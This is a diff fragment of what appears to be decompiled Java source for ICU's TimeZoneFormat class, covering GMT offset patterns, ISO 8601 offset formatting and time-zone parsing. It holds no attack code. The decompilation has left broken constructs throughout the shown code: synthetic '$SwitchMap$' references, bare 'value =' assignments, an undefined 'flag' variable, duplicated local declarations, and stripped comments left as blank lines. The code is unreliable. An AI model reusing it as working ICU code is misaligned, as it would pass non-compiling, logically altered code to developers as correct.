+        gmtOffsetPatterns[patType.ordinal()] = patType.defaultPattern();
+      }
+    }
+    initGMTOffsetPatterns(gmtOffsetPatterns);
+    
+    _gmtOffsetDigits = DEFAULT_GMT_DIGITS;
+    NumberingSystem ns = NumberingSystem.getInstance(locale);
+    if (!ns.isAlgorithmic())
+    {
+      _gmtOffsetDigits = toCodePoints(ns.getDescription());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static TimeZoneFormat getInstance(ULocale locale)
+  {
+    if (locale == null) {
+      throw new NullPointerException("locale is null");
+    }
+    return (TimeZoneFormat)_tzfCache.getInstance(locale, locale);
+  }
+  
+
+
+
+
+
+
+
+  public TimeZoneNames getTimeZoneNames()
+  {
+    return _tznames;
+  }
+  
+
+
+
+
+
+
+
+
+  private TimeZoneGenericNames getTimeZoneGenericNames()
+  {
+    if (_gnames == null) {
+      synchronized (this) {
+        if (_gnames == null) {
+          _gnames = TimeZoneGenericNames.getInstance(_locale);
+        }
+      }
+    }
+    return _gnames;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TimeZoneFormat setTimeZoneNames(TimeZoneNames tznames)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+    _tznames = tznames;
+    
+    _gnames = new TimeZoneGenericNames(_locale, _tznames);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public String getGMTPattern()
+  {
+    return _gmtPattern;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public TimeZoneFormat setGMTPattern(String pattern)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+    initGMTPattern(pattern);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public String getGMTOffsetPattern(GMTOffsetPatternType type)
+  {
+    return _gmtOffsetPatterns[type.ordinal()];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public TimeZoneFormat setGMTOffsetPattern(GMTOffsetPatternType type, String pattern)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+    if (pattern == null) {
+      throw new NullPointerException("Null GMT offset pattern");
+    }
+    
+    Object[] parsedItems = parseOffsetPattern(pattern, type.required());
+    
+    _gmtOffsetPatterns[type.ordinal()] = pattern;
+    _gmtOffsetPatternItems[type.ordinal()] = parsedItems;
+    checkAbuttingHoursAndMinutes();
+    
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public String getGMTOffsetDigits()
+  {
+    StringBuilder buf = new StringBuilder(_gmtOffsetDigits.length);
+    for (String digit : _gmtOffsetDigits) {
+      buf.append(digit);
+    }
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TimeZoneFormat setGMTOffsetDigits(String digits)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+    if (digits == null) {
+      throw new NullPointerException("Null GMT offset digits");
+    }
+    String[] digitArray = toCodePoints(digits);
+    if (digitArray.length != 10) {
+      throw new IllegalArgumentException("Length of digits must be 10");
+    }
+    _gmtOffsetDigits = digitArray;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public String getGMTZeroFormat()
+  {
+    return _gmtZeroFormat;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TimeZoneFormat setGMTZeroFormat(String gmtZeroFormat)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify frozen object");
+    }
+    if (gmtZeroFormat == null) {
+      throw new NullPointerException("Null GMT zero format");
+    }
+    if (gmtZeroFormat.length() == 0) {
+      throw new IllegalArgumentException("Empty GMT zero format");
+    }
+    _gmtZeroFormat = gmtZeroFormat;
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public TimeZoneFormat setDefaultParseOptions(EnumSet<ParseOption> options)
+  {
+    _parseAllStyles = options.contains(ParseOption.ALL_STYLES);
+    return this;
+  }
+  
+
+
+
+
+
+
+  public EnumSet<ParseOption> getDefaultParseOptions()
+  {
+    if (_parseAllStyles) {
+      return EnumSet.of(ParseOption.ALL_STYLES);
+    }
+    return EnumSet.noneOf(ParseOption.class);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final String formatOffsetISO8601Basic(int offset, boolean useUtcIndicator, boolean isShort, boolean ignoreSeconds)
+  {
+    return formatOffsetISO8601(offset, true, useUtcIndicator, isShort, ignoreSeconds);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final String formatOffsetISO8601Extended(int offset, boolean useUtcIndicator, boolean isShort, boolean ignoreSeconds)
+  {
+    return formatOffsetISO8601(offset, false, useUtcIndicator, isShort, ignoreSeconds);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String formatOffsetLocalizedGMT(int offset)
+  {
+    return formatOffsetLocalizedGMT(offset, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String formatOffsetShortLocalizedGMT(int offset)
+  {
+    return formatOffsetLocalizedGMT(offset, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final String format(Style style, TimeZone tz, long date)
+  {
+    return format(style, tz, date, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String format(Style style, TimeZone tz, long date, Output<TimeType> timeType)
+  {
+    String result = null;
+    
+    if (timeType != null) {
+      value = TimeType.UNKNOWN;
+    }
+    
+    switch (1.$SwitchMap$com$ibm$icu$text$TimeZoneFormat$Style[style.ordinal()]) {
+    case 1: 
+      result = getTimeZoneGenericNames().getGenericLocationName(ZoneMeta.getCanonicalCLDRID(tz));
+      break;
+    case 2: 
+      result = getTimeZoneGenericNames().getDisplayName(tz, TimeZoneGenericNames.GenericNameType.LONG, date);
+      break;
+    case 3: 
+      result = getTimeZoneGenericNames().getDisplayName(tz, TimeZoneGenericNames.GenericNameType.SHORT, date);
+      break;
+    case 4: 
+      result = formatSpecific(tz, TimeZoneNames.NameType.LONG_STANDARD, TimeZoneNames.NameType.LONG_DAYLIGHT, date, timeType);
+      break;
+    case 5: 
+      result = formatSpecific(tz, TimeZoneNames.NameType.SHORT_STANDARD, TimeZoneNames.NameType.SHORT_DAYLIGHT, date, timeType);
+      break;
+    }
+    
+    
+
+
+    if (result == null) {
+      int[] offsets = { 0, 0 };
+      tz.getOffset(date, false, offsets);
+      int offset = offsets[0] + offsets[1];
+      
+      switch (1.$SwitchMap$com$ibm$icu$text$TimeZoneFormat$Style[style.ordinal()]) {
+      case 1: 
+      case 2: 
+      case 4: 
+      case 6: 
+        result = formatOffsetLocalizedGMT(offset);
+        break;
+      
+      case 3: 
+      case 5: 
+      case 7: 
+        result = formatOffsetShortLocalizedGMT(offset);
+        break;
+      
+      case 8: 
+        result = formatOffsetISO8601Basic(offset, true, true, true);
+        break;
+      
+      case 9: 
+        result = formatOffsetISO8601Basic(offset, false, true, true);
+        break;
+      
+      case 10: 
+        result = formatOffsetISO8601Basic(offset, true, false, true);
+        break;
+      
+      case 11: 
+        result = formatOffsetISO8601Basic(offset, false, false, true);
+        break;
+      
+      case 12: 
+        result = formatOffsetISO8601Basic(offset, true, false, false);
+        break;
+      
+      case 13: 
+        result = formatOffsetISO8601Basic(offset, false, false, false);
+        break;
+      
+      case 14: 
+        result = formatOffsetISO8601Extended(offset, true, false, true);
+        break;
+      
+      case 15: 
+        result = formatOffsetISO8601Extended(offset, false, false, true);
+        break;
+      
+      case 16: 
+        result = formatOffsetISO8601Extended(offset, true, false, false);
+        break;
+      
+      case 17: 
+        result = formatOffsetISO8601Extended(offset, false, false, false);
+        break;
+      
+      case 18: 
+        result = tz.getID();
+        break;
+      
+      case 19: 
+        result = ZoneMeta.getShortID(tz);
+        if (result == null) {
+          result = "unk";
+        }
+        
+        break;
+      case 20: 
+        result = formatExemplarLocation(tz);
+      }
+      
+      
+      if (timeType != null) {
+        value = (offsets[1] != 0 ? TimeType.DAYLIGHT : TimeType.STANDARD);
+      }
+    }
+    
+    assert (result != null);
+    
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final int parseOffsetISO8601(String text, ParsePosition pos)
+  {
+    return parseOffsetISO8601(text, pos, false, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int parseOffsetLocalizedGMT(String text, ParsePosition pos)
+  {
+    return parseOffsetLocalizedGMT(text, pos, false, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int parseOffsetShortLocalizedGMT(String text, ParsePosition pos)
+  {
+    return parseOffsetLocalizedGMT(text, pos, true, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TimeZone parse(Style style, String text, ParsePosition pos, EnumSet<ParseOption> options, Output<TimeType> timeType)
+  {
+    if (timeType == null) {
+      timeType = new Output(TimeType.UNKNOWN);
+    } else {
+      value = TimeType.UNKNOWN;
+    }
+    
+    int startIdx = pos.getIndex();
+    int maxPos = text.length();
+    
+
+
+    boolean fallbackLocalizedGMT = (style == Style.SPECIFIC_LONG) || (style == Style.GENERIC_LONG) || (style == Style.GENERIC_LOCATION);
+    
+    boolean fallbackShortLocalizedGMT = (style == Style.SPECIFIC_SHORT) || (style == Style.GENERIC_SHORT);
+    
+
+    int evaluated = 0;
+    ParsePosition tmpPos = new ParsePosition(startIdx);
+    
+    int parsedOffset = Integer.MAX_VALUE;
+    int parsedPos = -1;
+    
+
+    if ((fallbackLocalizedGMT) || (fallbackShortLocalizedGMT)) {
+      Output<Boolean> hasDigitOffset = new Output(Boolean.valueOf(false));
+      int offset = parseOffsetLocalizedGMT(text, tmpPos, fallbackShortLocalizedGMT, hasDigitOffset);
+      if (tmpPos.getErrorIndex() == -1)
+      {
+
+
+
+        if ((tmpPos.getIndex() == maxPos) || (((Boolean)value).booleanValue())) {
+          pos.setIndex(tmpPos.getIndex());
+          return getTimeZoneForOffset(offset);
+        }
+        parsedOffset = offset;
+        parsedPos = tmpPos.getIndex();
+      }
+      
+
+
+      evaluated |= LOCALIZED_GMTflag | LOCALIZED_GMT_SHORTflag;
+    }
+    
+    int offset;
+    switch (1.$SwitchMap$com$ibm$icu$text$TimeZoneFormat$Style[style.ordinal()])
+    {
+    case 6: 
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      offset = parseOffsetLocalizedGMT(text, tmpPos);
+      if (tmpPos.getErrorIndex() == -1) {
+        pos.setIndex(tmpPos.getIndex());
+        return getTimeZoneForOffset(offset);
+      }
+      
+
+      evaluated |= LOCALIZED_GMT_SHORTflag;
+      break;
+    
+
+    case 7: 
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      offset = parseOffsetShortLocalizedGMT(text, tmpPos);
+      if (tmpPos.getErrorIndex() == -1) {
+        pos.setIndex(tmpPos.getIndex());
+        return getTimeZoneForOffset(offset);
+      }
+      
+
+      evaluated |= LOCALIZED_GMTflag;
+      break;
+    
+
+
+    case 8: 
+    case 10: 
+    case 12: 
+    case 14: 
+    case 16: 
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      offset = parseOffsetISO8601(text, tmpPos);
+      if (tmpPos.getErrorIndex() == -1) {
+        pos.setIndex(tmpPos.getIndex());
+        return getTimeZoneForOffset(offset);
+      }
+      
+
+
+      break;
+    case 9: 
+    case 11: 
+    case 13: 
+    case 15: 
+    case 17: 
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+
+      Output<Boolean> hasDigitOffset = new Output(Boolean.valueOf(false));
+      offset = parseOffsetISO8601(text, tmpPos, false, hasDigitOffset);
+      if ((tmpPos.getErrorIndex() == -1) && (((Boolean)value).booleanValue())) {
+        pos.setIndex(tmpPos.getIndex());
+        return getTimeZoneForOffset(offset);
+      }
+      
+
+
+
+      break;
+    case 4: 
+    case 5: 
+      EnumSet<TimeZoneNames.NameType> nameTypes = null;
+      if (style == Style.SPECIFIC_LONG) {
+        nameTypes = EnumSet.of(TimeZoneNames.NameType.LONG_STANDARD, TimeZoneNames.NameType.LONG_DAYLIGHT);
+      } else {
+        assert (style == Style.SPECIFIC_SHORT);
+        nameTypes = EnumSet.of(TimeZoneNames.NameType.SHORT_STANDARD, TimeZoneNames.NameType.SHORT_DAYLIGHT);
+      }
+      Collection<TimeZoneNames.MatchInfo> specificMatches = _tznames.find(text, startIdx, nameTypes);
+      if (specificMatches != null) {
+        TimeZoneNames.MatchInfo specificMatch = null;
+        for (TimeZoneNames.MatchInfo match : specificMatches) {
+          if (startIdx + match.matchLength() > parsedPos) {
+            specificMatch = match;
+            parsedPos = startIdx + match.matchLength();
+          }
+        }
+        if (specificMatch != null) {
+          value = getTimeType(specificMatch.nameType());
+          pos.setIndex(parsedPos);
+          return TimeZone.getTimeZone(getTimeZoneID(specificMatch.tzID(), specificMatch.mzID()));
+        } }
+      break;
+    
+
+
+    case 1: 
+    case 2: 
+    case 3: 
+      EnumSet<TimeZoneGenericNames.GenericNameType> genericNameTypes = null;
+      switch (1.$SwitchMap$com$ibm$icu$text$TimeZoneFormat$Style[style.ordinal()]) {
+      case 1: 
+        genericNameTypes = EnumSet.of(TimeZoneGenericNames.GenericNameType.LOCATION);
+        break;
+      case 2: 
+        genericNameTypes = EnumSet.of(TimeZoneGenericNames.GenericNameType.LONG, TimeZoneGenericNames.GenericNameType.LOCATION);
+        break;
+      case 3: 
+        genericNameTypes = EnumSet.of(TimeZoneGenericNames.GenericNameType.SHORT, TimeZoneGenericNames.GenericNameType.LOCATION);
+      }
+      
+      TimeZoneGenericNames.GenericMatchInfo bestGeneric = getTimeZoneGenericNames().findBestMatch(text, startIdx, genericNameTypes);
+      if ((bestGeneric != null) && (startIdx + bestGeneric.matchLength() > parsedPos)) {
+        value = bestGeneric.timeType();
+        pos.setIndex(startIdx + bestGeneric.matchLength());
+        return TimeZone.getTimeZone(bestGeneric.tzID());
+      }
+      
+
+      break;
+    case 18: 
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      String id = parseZoneID(text, tmpPos);
+      if (tmpPos.getErrorIndex() == -1) {
+        pos.setIndex(tmpPos.getIndex());
+        return TimeZone.getTimeZone(id);
+      }
+      
+
+      break;
+    case 19: 
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      String id = parseShortZoneID(text, tmpPos);
+      if (tmpPos.getErrorIndex() == -1) {
+        pos.setIndex(tmpPos.getIndex());
+        return TimeZone.getTimeZone(id);
+      }
+      
+
+      break;
+    case 20: 
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      String id = parseExemplarLocation(text, tmpPos);
+      if (tmpPos.getErrorIndex() == -1) {
+        pos.setIndex(tmpPos.getIndex());
+        return TimeZone.getTimeZone(id);
+      }
+      break;
+    }
+    
+    evaluated |= flag;
+    
+    if (parsedPos > startIdx)
+    {
+
+
+
+
+
+      assert (parsedOffset != Integer.MAX_VALUE);
+      pos.setIndex(parsedPos);
+      return getTimeZoneForOffset(parsedOffset);
+    }
+    
+
+
+
+    String parsedID = null;
+    TimeType parsedTimeType = TimeType.UNKNOWN;
+    assert (parsedPos < 0);
+    assert (parsedOffset == Integer.MAX_VALUE);
+    
+
+    if ((parsedPos < maxPos) && (((evaluated & 0x80) == 0) || ((evaluated & 0x100) == 0)))
+    {
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      Output<Boolean> hasDigitOffset = new Output(Boolean.valueOf(false));
+      offset = parseOffsetISO8601(text, tmpPos, false, hasDigitOffset);
+      if (tmpPos.getErrorIndex() == -1) {
+        if ((tmpPos.getIndex() == maxPos) || (((Boolean)value).booleanValue())) {
+          pos.setIndex(tmpPos.getIndex());
+          return getTimeZoneForOffset(offset);
+        }
+        
+
+
+        if (parsedPos < tmpPos.getIndex()) {
+          parsedOffset = offset;
+          parsedID = null;
+          parsedTimeType = TimeType.UNKNOWN;
+          parsedPos = tmpPos.getIndex();
+          assert (parsedPos == startIdx + 1);
+        }
+      }
+    }
+    
+
+
+    if ((parsedPos < maxPos) && ((evaluated & LOCALIZED_GMTflag) == 0))
+    {
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      Output<Boolean> hasDigitOffset = new Output(Boolean.valueOf(false));
+      int offset = parseOffsetLocalizedGMT(text, tmpPos, false, hasDigitOffset);
+      if (tmpPos.getErrorIndex() == -1) {
+        if ((tmpPos.getIndex() == maxPos) || (((Boolean)value).booleanValue())) {
+          pos.setIndex(tmpPos.getIndex());
+          return getTimeZoneForOffset(offset);
+        }
+        
+        if (parsedPos < tmpPos.getIndex()) {
+          parsedOffset = offset;
+          parsedID = null;
+          parsedTimeType = TimeType.UNKNOWN;
+          parsedPos = tmpPos.getIndex();
+        }
+      }
+    }
+    
+    if ((parsedPos < maxPos) && ((evaluated & LOCALIZED_GMT_SHORTflag) == 0))
+    {
+      tmpPos.setIndex(startIdx);
+      tmpPos.setErrorIndex(-1);
+      
+      Output<Boolean> hasDigitOffset = new Output(Boolean.valueOf(false));
+      int offset = parseOffsetLocalizedGMT(text, tmpPos, true, hasDigitOffset);
+      if (tmpPos.getErrorIndex() == -1) {
+        if ((tmpPos.getIndex() == maxPos) || (((Boolean)value).booleanValue())) {
+          pos.setIndex(tmpPos.getIndex());
+          return getTimeZoneForOffset(offset);
+        }
+        
+        if (parsedPos < tmpPos.getIndex()) {
+          parsedOffset = offset;
+          parsedID = null;
+          parsedTimeType = TimeType.UNKNOWN;
+          parsedPos = tmpPos.getIndex();
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    boolean parseAllStyles = options == null ? getDefaultParseOptions().contains(ParseOption.ALL_STYLES) : options.contains(ParseOption.ALL_STYLES);
+    
+
+
+    if (parseAllStyles)
+    {
+      if (parsedPos < maxPos) {
+        Collection<TimeZoneNames.MatchInfo> specificMatches = _tznames.find(text, startIdx, ALL_SIMPLE_NAME_TYPES);
+        TimeZoneNames.MatchInfo specificMatch = null;
+        int matchPos = -1;
+        if (specificMatches != null) {
+          for (TimeZoneNames.MatchInfo match : specificMatches) {
+            if (startIdx + match.matchLength() > matchPos) {
+              specificMatch = match;
+              matchPos = startIdx + match.matchLength();
+            }
+          }
+        }
+        if (parsedPos < matchPos) {
+          parsedPos = matchPos;
+          parsedID = getTimeZoneID(specificMatch.tzID(), specificMatch.mzID());
+          parsedTimeType = getTimeType(specificMatch.nameType());
+          parsedOffset = Integer.MAX_VALUE;
+        }
+      }
+      
+
+      if (parsedPos < maxPos) {
+        TimeZoneGenericNames.GenericMatchInfo genericMatch = getTimeZoneGenericNames().findBestMatch(text, startIdx, ALL_GENERIC_NAME_TYPES);
+        if ((genericMatch != null) && (parsedPos < startIdx + genericMatch.matchLength())) {
+          parsedPos = startIdx + genericMatch.matchLength();
+          parsedID = genericMatch.tzID();
+          parsedTimeType = genericMatch.timeType();
+          parsedOffset = Integer.MAX_VALUE;
+        }
+      }
+      
+
+      if ((parsedPos < maxPos) && ((evaluated & ZONE_IDflag) == 0)) {
+        tmpPos.setIndex(startIdx);
+        tmpPos.setErrorIndex(-1);
+        
+        String id = parseZoneID(text, tmpPos);
+        if ((tmpPos.getErrorIndex() == -1) && (parsedPos < tmpPos.getIndex())) {
+          parsedPos = tmpPos.getIndex();
+          parsedID = id;
+          parsedTimeType = TimeType.UNKNOWN;
+          parsedOffset = Integer.MAX_VALUE;
+        }
+      }
+      
+      if ((parsedPos < maxPos) && ((evaluated & ZONE_ID_SHORTflag) == 0)) {
+        tmpPos.setIndex(startIdx);
+        tmpPos.setErrorIndex(-1);
+        
+        String id = parseShortZoneID(text, tmpPos);
+        if ((tmpPos.getErrorIndex() == -1) && (parsedPos < tmpPos.getIndex())) {
+          parsedPos = tmpPos.getIndex();
+          parsedID = id;
+          parsedTimeType = TimeType.UNKNOWN;
+          parsedOffset = Integer.MAX_VALUE;
+        }
+      }
+    }
+    
+    if (parsedPos > startIdx)
+    {
+      TimeZone parsedTZ = null;
+      if (parsedID != null) {
+        parsedTZ = TimeZone.getTimeZone(parsedID);
+      } else {
+        assert (parsedOffset != Integer.MAX_VALUE);
+        parsedTZ = getTimeZoneForOffset(parsedOffset);
+      }
+      value = parsedTimeType;
+      pos.setIndex(parsedPos);
+      return parsedTZ;
+    }
+    
+    pos.setErrorIndex(startIdx);
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TimeZone parse(Style style, String text, ParsePosition pos, Output<TimeType> timeType)
+  {
+    return parse(style, text, pos, null, timeType);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final TimeZone parse(String text, ParsePosition pos)
+  {
+    return parse(Style.GENERIC_LOCATION, text, pos, EnumSet.of(ParseOption.ALL_STYLES), null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final TimeZone parse(String text)
+    throws ParseException
+  {
+    ParsePosition pos = new ParsePosition(0);
+    TimeZone tz = parse(text, pos);
+    if (pos.getErrorIndex() >= 0) {
+      throw new ParseException("Unparseable time zone: \"" + text + "\"", 0);
+    }
+    assert (tz != null);
+    return tz;
+  }
+  
+
+
+
+
+
+
+  public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    TimeZone tz = null;
+    long date = System.currentTimeMillis();
+    
+    if ((obj instanceof TimeZone)) {
+      tz = (TimeZone)obj;
+    } else if ((obj instanceof Calendar)) {
+      tz = ((Calendar)obj).getTimeZone();
+      date = ((Calendar)obj).getTimeInMillis();
+    } else {
+      throw new IllegalArgumentException("Cannot format given Object (" + obj.getClass().getName() + ") as a time zone");
+    }
+    
+    assert (tz != null);
+    String result = formatOffsetLocalizedGMT(tz.getOffset(date));
+    toAppendTo.append(result);
+    
+    if ((pos.getFieldAttribute() == DateFormat.Field.TIME_ZONE) || (pos.getField() == 17))
+    {
+      pos.setBeginIndex(0);
+      pos.setEndIndex(result.length());
+    }
+    return toAppendTo;
+  }
+  
+
+
+
+
+
+
+  public AttributedCharacterIterator formatToCharacterIterator(Object obj)
+  {
+    StringBuffer toAppendTo = new StringBuffer();
+    FieldPosition pos = new FieldPosition(0);
+    toAppendTo = format(obj, toAppendTo, pos);
+    
+
+    AttributedString as = new AttributedString(toAppendTo.toString());
+    as.addAttribute(DateFormat.Field.TIME_ZONE, DateFormat.Field.TIME_ZONE);
+    
+    return as.getIterator();
+  }
+  
+
+
+
+
+
+
+  public Object parseObject(String source, ParsePosition pos)
+  {
+    return parse(source, pos);
+  }
+  
+
+
+
+
+
+  private String formatOffsetLocalizedGMT(int offset, boolean isShort)
+  {
+    if (offset == 0) {
+      return _gmtZeroFormat;
+    }
+    
+    StringBuilder buf = new StringBuilder();
+    boolean positive = true;
+    if (offset < 0) {
+      offset = -offset;
+      positive = false;
+    }
+    
+    int offsetH = offset / 3600000;
+    offset %= 3600000;
+    int offsetM = offset / 60000;
+    offset %= 60000;
+    int offsetS = offset / 1000;
+    
+    if ((offsetH > 23) || (offsetM > 59) || (offsetS > 59)) {
+      throw new IllegalArgumentException("Offset out of range :" + offset);
+    }
+    Object[] offsetPatternItems;
+    Object[] offsetPatternItems;
+    if (positive) { Object[] offsetPatternItems;
+      if (offsetS != 0) {
+        offsetPatternItems = _gmtOffsetPatternItems[GMTOffsetPatternType.POSITIVE_HMS.ordinal()]; } else { Object[] offsetPatternItems;
+        if ((offsetM != 0) || (!isShort)) {
+          offsetPatternItems = _gmtOffsetPatternItems[GMTOffsetPatternType.POSITIVE_HM.ordinal()];
+        } else
+          offsetPatternItems = _gmtOffsetPatternItems[GMTOffsetPatternType.POSITIVE_H.ordinal()];
+      }
+    } else { Object[] offsetPatternItems;
+      if (offsetS != 0) {
+        offsetPatternItems = _gmtOffsetPatternItems[GMTOffsetPatternType.NEGATIVE_HMS.ordinal()]; } else { Object[] offsetPatternItems;
+        if ((offsetM != 0) || (!isShort)) {
+          offsetPatternItems = _gmtOffsetPatternItems[GMTOffsetPatternType.NEGATIVE_HM.ordinal()];
+        } else {
+          offsetPatternItems = _gmtOffsetPatternItems[GMTOffsetPatternType.NEGATIVE_H.ordinal()];
+        }
+      }
+    }
+    
+    buf.append(_gmtPatternPrefix);
+    
+    for (Object item : offsetPatternItems) {
+      if ((item instanceof String))
+      {
+        buf.append((String)item);
+      } else if ((item instanceof GMTOffsetField))
+      {
+        GMTOffsetField field = (GMTOffsetField)item;
+        switch (field.getType()) {
+        case 'H': 
+          appendOffsetDigits(buf, offsetH, isShort ? 1 : 2);
+          break;
+        case 'm': 
+          appendOffsetDigits(buf, offsetM, 2);
+          break;
+        case 's': 
+          appendOffsetDigits(buf, offsetS, 2);
+        }
+        
+      }
+    }
+    buf.append(_gmtPatternSuffix);
+    return buf.toString();
+  }
+  
+
+
+  private static enum OffsetFields
+  {
+    H,  HM,  HMS;
+    
+    private OffsetFields() {} }
+  
+  private String formatOffsetISO8601(int offset, boolean isBasic, boolean useUtcIndicator, boolean isShort, boolean ignoreSeconds) { int absOffset = offset < 0 ? -offset : offset;
+    if ((useUtcIndicator) && ((absOffset < 1000) || ((ignoreSeconds) && (absOffset < 60000)))) {
+      return "Z";
+    }
+    OffsetFields minFields = isShort ? OffsetFields.H : OffsetFields.HM;
+    OffsetFields maxFields = ignoreSeconds ? OffsetFields.HM : OffsetFields.HMS;
+    Character sep = isBasic ? null : Character.valueOf(':');
+    
+
+
+
+    if (absOffset >= 86400000) {
+      throw new IllegalArgumentException("Offset out of range :" + offset);
+    }
+    
+    int[] fields = new int[3];
+    fields[0] = (absOffset / 3600000);
+    absOffset %= 3600000;
+    fields[1] = (absOffset / 60000);
+    absOffset %= 60000;
+    fields[2] = (absOffset / 1000);
+    
+    assert ((fields[0] >= 0) && (fields[0] <= 23));
+    assert ((fields[1] >= 0) && (fields[1] <= 59));
+    assert ((fields[2] >= 0) && (fields[2] <= 59));
+    
+    int lastIdx = maxFields.ordinal();
+    while ((lastIdx > minFields.ordinal()) && 
+      (fields[lastIdx] == 0))
+    {
+
+      lastIdx--;
+    }
+    
+    StringBuilder buf = new StringBuilder();
+    char sign = '+';
+    if (offset < 0)
+    {
+      for (int idx = 0; idx <= lastIdx; idx++) {
+        if (fields[idx] != 0) {
+          sign = '-';
+          break;
+        }
+      }
+    }
+    buf.append(sign);
+    
+    for (int idx = 0; idx <= lastIdx; idx++) {
+      if ((sep != null) && (idx != 0)) {
+        buf.append(sep);
+      }
+      if (fields[idx] < 10) {
+        buf.append('0');
+      }
+      buf.append(fields[idx]);
+    }
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+  private String formatSpecific(TimeZone tz, TimeZoneNames.NameType stdType, TimeZoneNames.NameType dstType, long date, Output<TimeType> timeType)
+  {
+    assert ((stdType == TimeZoneNames.NameType.LONG_STANDARD) || (stdType == TimeZoneNames.NameType.SHORT_STANDARD));
+    assert ((dstType == TimeZoneNames.NameType.LONG_DAYLIGHT) || (dstType == TimeZoneNames.NameType.SHORT_DAYLIGHT));
+    
+    boolean isDaylight = tz.inDaylightTime(new Date(date));
+    String name = isDaylight ? getTimeZoneNames().getDisplayName(ZoneMeta.getCanonicalCLDRID(tz), dstType, date) : getTimeZoneNames().getDisplayName(ZoneMeta.getCanonicalCLDRID(tz), stdType, date);
+    
+
+
+    if ((name != null) && (timeType != null)) {
+      value = (isDaylight ? TimeType.DAYLIGHT : TimeType.STANDARD);
+    }
+    return name;
+  }
+  
+
+
+
+
+
+
+  private String formatExemplarLocation(TimeZone tz)
+  {
+    String location = getTimeZoneNames().getExemplarLocationName(ZoneMeta.getCanonicalCLDRID(tz));
+    if (location == null)
+    {
+      location = getTimeZoneNames().getExemplarLocationName("Etc/Unknown");
+      if (location == null)
+      {
+        location = "Unknown";
+      }
+    }
+    return location;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private String getTimeZoneID(String tzID, String mzID)
+  {
+    String id = tzID;
+    if (id == null) {
+      assert (mzID != null);
+      id = _tznames.getReferenceZoneID(mzID, getTargetRegion());
+      if (id == null) {
+        throw new IllegalArgumentException("Invalid mzID: " + mzID);
+      }
+    }
+    return id;
+  }
+  
+
+
+
+
+
+
+
+  private synchronized String getTargetRegion()
+  {
+    if (_region == null) {
+      _region = _locale.getCountry();
+      if (_region.length() == 0) {
+        ULocale tmp = ULocale.addLikelySubtags(_locale);
+        _region = tmp.getCountry();
+        if (_region.length() == 0) {
+          _region = "001";
+        }
+      }
+    }
+    return _region;
+  }
+  
+
+
+
+
+  private TimeType getTimeType(TimeZoneNames.NameType nameType)
+  {
+    switch (1.$SwitchMap$com$ibm$icu$text$TimeZoneNames$NameType[nameType.ordinal()]) {
+    case 1: 
+    case 2: 
+      return TimeType.STANDARD;
+    
+    case 3: 
+    case 4: 
+      return TimeType.DAYLIGHT;
+    }
+    return TimeType.UNKNOWN;
+  }
+  
+
+
+
+
+
+
+
+
+  private void initGMTPattern(String gmtPattern)
+  {
+    int idx = gmtPattern.indexOf("{0}");
+    if (idx < 0) {
+      throw new IllegalArgumentException("Bad localized GMT pattern: " + gmtPattern);
+    }
+    _gmtPattern = gmtPattern;
+    _gmtPatternPrefix = unquote(gmtPattern.substring(0, idx));
+    _gmtPatternSuffix = unquote(gmtPattern.substring(idx + 3));
+  }
+  
+
+
+
+
+
+  private static String unquote(String s)
+  {
+    if (s.indexOf('\'') < 0) {
+      return s;
+    }
+    boolean isPrevQuote = false;
+    boolean inQuote = false;
+    StringBuilder buf = new StringBuilder();
